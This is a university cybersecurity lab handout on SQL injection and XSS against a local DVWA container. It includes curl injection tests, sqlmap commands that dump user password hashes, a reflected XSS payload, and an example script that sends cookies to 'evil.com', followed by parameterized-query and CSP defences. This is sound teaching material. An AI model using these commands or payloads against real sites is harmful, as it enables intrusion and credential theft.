Lab 06 โ Web Application Attacks: SQL Injection & XSS¶
Course: SCIA-472 | Week: 6 | Difficulty: โญโญโญ | Time: 75-90 min
Overview¶
Web application vulnerabilities dominate breach statistics year after year โ SQL injection and XSS consistently appear in the OWASP Top 10. In this lab, students use the Damn Vulnerable Web Application (DVWA) to practice manual SQL injection, automated injection with sqlmap, and reflected/stored/DOM Cross-Site Scripting. The second half of the lab covers defenses: parameterized queries and Content Security Policy (CSP).
Ethical Use โ Read Before Proceeding
SQL injection and XSS attacks against systems you do not own are federal crimes under the Computer Fraud and Abuse Act (CFAA). All attacks in this lab target only the DVWA container running on your local machine. Never run sqlmap or inject payloads against any site you do not own or have explicit written authorization to test.
Grading Rubric
| Component | Points |
|---|---|
| Screenshots (8 checkpoints) | 40 pts |
| Vulnerable vs. secure code comparison | 20 pts |
| Reflection questions (4 ร 10 pts) | 40 pts |
| Total | 100 pts |
Part 1 โ Lab Setup¶
Step 1.1 โ Start DVWA¶
docker network create webapp-lab
docker run -d --name dvwa --network webapp-lab -p 8888:80 vulnerables/web-dvwa
sleep 15
curl -s http://localhost:8888/ | grep -o 'DVWA\|Damn Vulnerable' | head -3
Expected output: DVWA or Damn Vulnerable confirming the application is running.
๐ธ Screenshot 06a โ Capture the curl response confirming DVWA is running.
Step 1.2 โ Initialize the DVWA database¶
# Get session cookie
COOKIE=$(curl -s -c /tmp/dvwa_cookies.txt -b /tmp/dvwa_cookies.txt \
http://localhost:8888/login.php -X POST \
-d 'username=admin&password=password&Login=Login' -D - 2>/dev/null | \
grep 'Set-Cookie' | grep PHPSESSID | grep -oP 'PHPSESSID=[^;]+' | head -1)
echo "Session: $COOKIE"
# Create/reset database
curl -s -b /tmp/dvwa_cookies.txt \
'http://localhost:8888/setup.php' -X POST \
-d 'create_db=Create+%2F+Reset+Database' > /dev/null
echo 'Database initialized'
๐ธ Screenshot 06b โ Capture the terminal showing
Session: PHPSESSID=...andDatabase initialized.
Note
If the session cookie does not authenticate correctly from the command line, navigate to http://localhost:8888 in your browser, log in as admin / password, and set the security level to Low via the DVWA Security menu. Then continue with Step 2.2 using the browser's developer tools to observe requests.
Part 2 โ Manual SQL Injection¶
Step 2.1 โ Test a normal query¶
curl -s -b 'security=low;PHPSESSID=abc123' \
'http://localhost:8888/vulnerabilities/sqli/?id=1&Submit=Submit' | \
grep -oE 'First name.*?<br>' | head -3
This retrieves user ID 1 normally. Note the output format โ first name and surname from the database.
Step 2.2 โ Inject a single quote to trigger a SQL error¶
curl -s -b /tmp/dvwa_cookies.txt \
"http://localhost:8888/vulnerabilities/sqli/?id=1'&Submit=Submit" 2>/dev/null | \
grep -oi 'error\|syntax\|mysql\|warning' | head -3
Expected output: Words like error, syntax, or mysql โ confirming the parameter is not sanitized and is injectable.
๐ธ Screenshot 06c โ Capture the SQL error output confirming the injection point.
Part 3 โ Automated SQL Injection with sqlmap¶
Step 3.1 โ Enumerate available databases¶
docker run --rm --network webapp-lab ubuntu:22.04 bash -c "
apt-get update -qq && apt-get install -y -qq sqlmap 2>/dev/null
sqlmap -u 'http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' \
--cookie='security=low;PHPSESSID=abc' \
--level=1 --risk=1 \
--dbms=mysql \
--batch \
--dbs 2>&1 | grep -E 'available databases|\[\*\]|Parameter|GET|injectable|sqlmap' | head -25"
Expected output: Parameter 'id' is vulnerable and a list of databases including dvwa and information_schema.
๐ธ Screenshot 06d โ Capture sqlmap confirming the injectable parameter and listing available databases.
Step 3.2 โ Enumerate tables in the dvwa database¶
docker run --rm --network webapp-lab ubuntu:22.04 bash -c "
apt-get update -qq && apt-get install -y -qq sqlmap 2>/dev/null
sqlmap -u 'http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' \
--cookie='security=low;PHPSESSID=abc' \
--dbms=mysql \
--batch \
-D dvwa --tables 2>&1 | grep -E 'tables|Database|\[\*\]|guestbook|users' | head -15"
Expected output: Table names โ users and guestbook.
๐ธ Screenshot 06e โ Capture the exposed table names from the dvwa database.
Step 3.3 โ Dump user credentials¶
docker run --rm --network webapp-lab ubuntu:22.04 bash -c "
apt-get update -qq && apt-get install -y -qq sqlmap 2>/dev/null
sqlmap -u 'http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' \
--cookie='security=low;PHPSESSID=abc' \
--dbms=mysql \
--batch \
-D dvwa -T users --dump 2>&1 | grep -E 'user|password|admin|gordonb|\[\*\]' | head -20"
Expected output: Username and password hash rows from the users table (admin, gordonb, 1337, pablo, smithy with MD5 hashes).
๐ธ Screenshot 06f โ Capture the credential dump showing usernames and password hashes.
Part 4 โ Cross-Site Scripting (XSS)¶
Step 4.1 โ Reflected XSS via curl¶
# Test reflected XSS in DVWA
curl -s -b 'security=low;PHPSESSID=abc' \
"http://localhost:8888/vulnerabilities/xss_r/?name=<script>alert(1)</script>&Search=Search" 2>/dev/null | \
grep -o '<script>' | head -3
Expected output: <script> reflected back in the HTML response โ confirming the application echoes input without sanitization.
๐ธ Screenshot 06g โ Capture the XSS reflection in the response body.
Step 4.2 โ XSS type comparison¶
docker run --rm python:3.11-slim python3 -c "
xss_types = {
'Reflected XSS': {
'How it works': 'Malicious script in URL reflected immediately in response',
'Persistence': 'Not persistent - only affects the user who clicks the link',
'Example': 'http://site.com/search?q=<script>document.location=\"evil.com/steal?c=\"++document.cookie</script>',
'Impact': 'Cookie theft, session hijacking, phishing',
'DVWA test': '/vulnerabilities/xss_r/?name=<script>alert(1)</script>',
},
'Stored XSS': {
'How it works': 'Script saved to database, executes for ALL visitors',
'Persistence': 'PERSISTENT - every page load triggers the script',
'Example': 'Posting <script>stealCookies()</script> in a comment',
'Impact': 'Affects ALL users, not just the one who clicks a link',
'DVWA test': '/vulnerabilities/xss_s/ - stored in guestbook',
},
'DOM XSS': {
'How it works': 'JavaScript reads URL and writes it to DOM without sanitization',
'Persistence': 'Client-side only, never hits the server',
'Example': 'document.write(location.hash) without sanitization',
'Impact': 'Bypasses server-side filtering entirely',
'DVWA test': '/vulnerabilities/xss_d/',
},
}
for xss_type, details in xss_types.items():
print(f'=== {xss_type} ===')
for k, v in details.items():
print(f' {k}: {v}')
print()
"
๐ธ Screenshot 06h โ Capture the full XSS types comparison output.
Part 5 โ Defense: Parameterized Queries & CSP¶
Step 5.1 โ Secure coding patterns¶
docker run --rm python:3.11-slim python3 -c "
print('=== SQL INJECTION FIX ===')
print()
print('VULNERABLE (string concatenation):')
print(' query = \"SELECT * FROM users WHERE id = \" + user_input')
print(' Attack: user_input = \"1 OR 1=1--\"')
print()
print('SECURE (parameterized query):')
print(' stmt = conn.prepare(\"SELECT * FROM users WHERE id = ?\")')
print(' stmt.execute([user_input])')
print(' # user_input is treated as DATA, not SQL code')
print()
print('=== XSS FIX ===')
print()
print('VULNERABLE:')
print(' response += \"Hello \" + username # username could contain <script>')
print()
print('SECURE:')
print(' from html import escape')
print(' response += \"Hello \" + escape(username) # <script> becomes <script>')
print()
print('Content Security Policy header also prevents XSS execution:')
print(\" Content-Security-Policy: default-src 'self'; script-src 'self'\")
"
๐ธ Screenshot 06i โ Capture the defense code showing both the vulnerable pattern and the secure parameterized/escaped fix.
Cleanup¶
docker stop dvwa && docker rm dvwa
docker network rm webapp-lab
rm -f /tmp/dvwa_cookies.txt
docker system prune -f
Assessment โ Screenshot Checklist¶
Submit all screenshots labeled exactly as shown:
- [ ] 06a โ DVWA running (curl response confirming
DVWAorDamn Vulnerable) - [ ] 06b โ Database initialized (
Session:+Database initialized) - [ ] 06c โ SQL error confirming injectable parameter
- [ ] 06d โ sqlmap finding available databases (
dvwa,information_schema) - [ ] 06e โ Tables exposed (
users,guestbook) - [ ] 06f โ Credential dump from
userstable (usernames + password hashes) - [ ] 06g โ XSS reflection in HTTP response
- [ ] 06h โ XSS types comparison (Reflected / Stored / DOM)
- [ ] 06i โ Defense code (parameterized queries + CSP header)
Reflection Questions¶
Answer each question in 150-250 words. Submit as a separate document.
-
Post-exploitation with hashes:
sqlmapdumped theuserstable including password hashes. What is the attacker's next step after obtaining these hashes? Examine the hash format in the dump โ which hashing algorithm was used? Describe specifically how an attacker would crack these hashes (tool, attack type, wordlist). -
Stored vs. Reflected XSS severity: Reflected XSS requires a victim to click a specially crafted link, while Stored XSS affects all visitors to the page. Why is Stored XSS considered significantly more severe? Construct a concrete real-world attack scenario where a Stored XSS vulnerability in a comment field could silently affect thousands of users over days or weeks.
-
Why parameterized queries work: The parameterized query fix ensures user input is treated as data, not SQL code. Explain at the database engine level what happens differently โ what does the database server do during the prepare phase vs. the execute phase? Why does this separation make injection structurally impossible rather than just filtered?
-
Input validation limitations: A web developer argues that using input validation (rejecting anything that is not alphanumeric) is sufficient to prevent SQL injection and they do not need parameterized queries. Is this argument correct? Describe a realistic scenario โ such as an internationalized application, a search field, or a specific character set โ where input validation can be bypassed but parameterized queries cannot.
SCIA-472 | Week 6 | All activity confined to local Docker environment